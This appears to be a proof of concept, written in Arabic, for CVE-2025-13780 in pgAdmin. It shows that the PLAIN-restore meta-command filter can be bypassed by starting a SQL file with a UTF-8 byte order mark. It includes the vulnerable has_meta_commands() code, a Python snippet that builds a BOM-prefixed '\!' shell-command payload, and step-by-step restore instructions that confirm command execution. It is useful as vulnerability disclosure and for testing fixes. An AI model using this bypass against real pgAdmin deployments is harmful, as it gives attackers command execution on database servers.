
Proof of concept for CVE-2025-13780
لا يكتشف فلتر الأوامر الوصفية الخاص بالاستعادة بنمط PLAIN، الذي أُدخل في pgAdmin كجزء من إصلاح المشكلة Issue 9320، الأوامر الوصفية عندما يبدأ ملف SQL بعلامة ترتيب البايتات UTF-8 (EF BB BF) أو بتسلسلات خاصة أخرى. يستخدم الفلتر المنفَّذ الدالة has_meta_commands()، التي تفحص البايتات الخام باستخدام تعبير نمطي. لا يتعامل التعبير النمطي مع هذه البايتات على أنها قابلة للتجاهل، لذلك تظل الأوامر الوصفية مثل ! غير مكتشفة. عندما يستدعي pgAdmin أداة psql مع الخيار --file، تقوم psql بإزالة هذه البايتات وتنفيذ الأمر. وقد يؤدي ذلك إلى تنفيذ أوامر عن بُعد أثناء عملية الاستعادة.
يؤثر هذا التجاوز على التصحيح المقدَّم في commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)
المتأكد تأثرها:
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)المرجح تأثرها:
has_meta_commands() من commit 1d397395f75320ca1d4ed5e9ca721c603415e836(\restrict) لأداة psql، لذا أصبحت الأوامر الوصفية محظورة بواسطة psql نفسهاhas_meta_commands()الكود ذو الصلة (من الإصدار المصحح):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
الخطوة 1: أنشئ ملف SQL يبدأ بـ BOM وأمر وصفي.
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
الخطوة 2: تحقق من BOM:
xxd bypass_bom.sql | head -1
المتوقع:
ef bb bf 5c 21 ...
الخطوة 3: ضع الملف في تخزين pgAdmin:
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
الخطوة 4: في pgAdmin: الاستعادة -> التنسيق: PLAIN -> حدد bypass_bom.sql -> تشغيل
الخطوة 5: تحقق من التنفيذ:
ls /tmp/bom_ran
يتم حظر ملف التحكم (الذي لا يحتوي على BOM) بشكل صحيح.
الحمولة المسبوقة بـ BOM:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
الحمولة الضابطة:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;